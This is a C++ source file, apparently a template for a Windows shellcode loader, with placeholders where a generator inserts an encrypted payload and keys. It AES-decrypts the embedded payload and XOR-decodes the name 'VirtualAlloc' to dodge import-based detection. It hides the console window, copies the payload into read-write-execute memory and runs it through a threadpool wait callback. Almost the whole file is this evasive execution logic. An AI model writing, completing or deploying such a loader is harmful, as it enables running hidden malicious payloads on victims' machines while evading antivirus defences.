template.cpp 2.5 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586
  1. #include <windows.h>
  2. #include <threadpoolapiset.h>
  3. #include <windows.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <wincrypt.h>
  8. #pragma comment (lib, "crypt32.lib")
  9. #pragma comment (lib, "advapi32")
  10. #include <psapi.h>
  11. LPVOID (WINAPI * Virt_Alloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
  12. char XOR_VARIABLE []= "XOR_KEY";
  13. unsigned char Random9 []= VIRALO};
  14. int Random1(char * Random2, unsigned int Random2_len, char * Random3, size_t Random3len) {
  15. HCRYPTPROV hProv;
  16. HCRYPTHASH hHash;
  17. HCRYPTKEY hKey;
  18. if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
  19. return -1;
  20. }
  21. if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
  22. return -1;
  23. }
  24. if (!CryptHashData(hHash, (BYTE*)Random3, (DWORD)Random3len, 0)){
  25. return -1;
  26. }
  27. if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
  28. return -1;
  29. }
  30. if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, Random2, &Random2_len)){
  31. return -1;
  32. }
  33. CryptReleaseContext(hProv, 0);
  34. CryptDestroyHash(hHash);
  35. CryptDestroyKey(hKey);
  36. return 0;
  37. }
  38. void RandomA(char * tada, int tada_len, char * XOR_VARIABLE, size_t XOR_VARIABLE_len) {
  39. int r;
  40. r = 0;
  41. for (int i = 0; i < tada_len; i++) {
  42. if (r == XOR_VARIABLE_len - 1) r = 0;
  43. tada[i] = tada[i] ^ XOR_VARIABLE[r];
  44. r++;
  45. }
  46. }
  47. int main() {
  48. BOOL rv;
  49. HANDLE th;
  50. DWORD oldprotect = 0;
  51. char Random3 []=KEYVALUE
  52. unsigned char Random2[]=PAYVAL
  53. unsigned int Random2_len = sizeof(Random2);
  54. FreeConsole();
  55. Random1((char *) Random2, Random2_len, Random3, sizeof(Random3));
  56. HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
  57. RandomA((char *) Random9, sizeof (Random9), XOR_VARIABLE, sizeof(XOR_VARIABLE));
  58. Virt_Alloc= GetProcAddress(GetModuleHandle("kernel32.dll"), Random9);
  59. LPVOID Random2Address = Virt_Alloc(NULL, sizeof(Random2), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  60. RtlMoveMemory(Random2Address, Random2, sizeof(Random2));
  61. PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)Random2Address, NULL, NULL);
  62. SetThreadpoolWait(threadPoolWait, event, NULL);
  63. WaitForSingleObject(event, INFINITE);
  64. return 0;
  65. }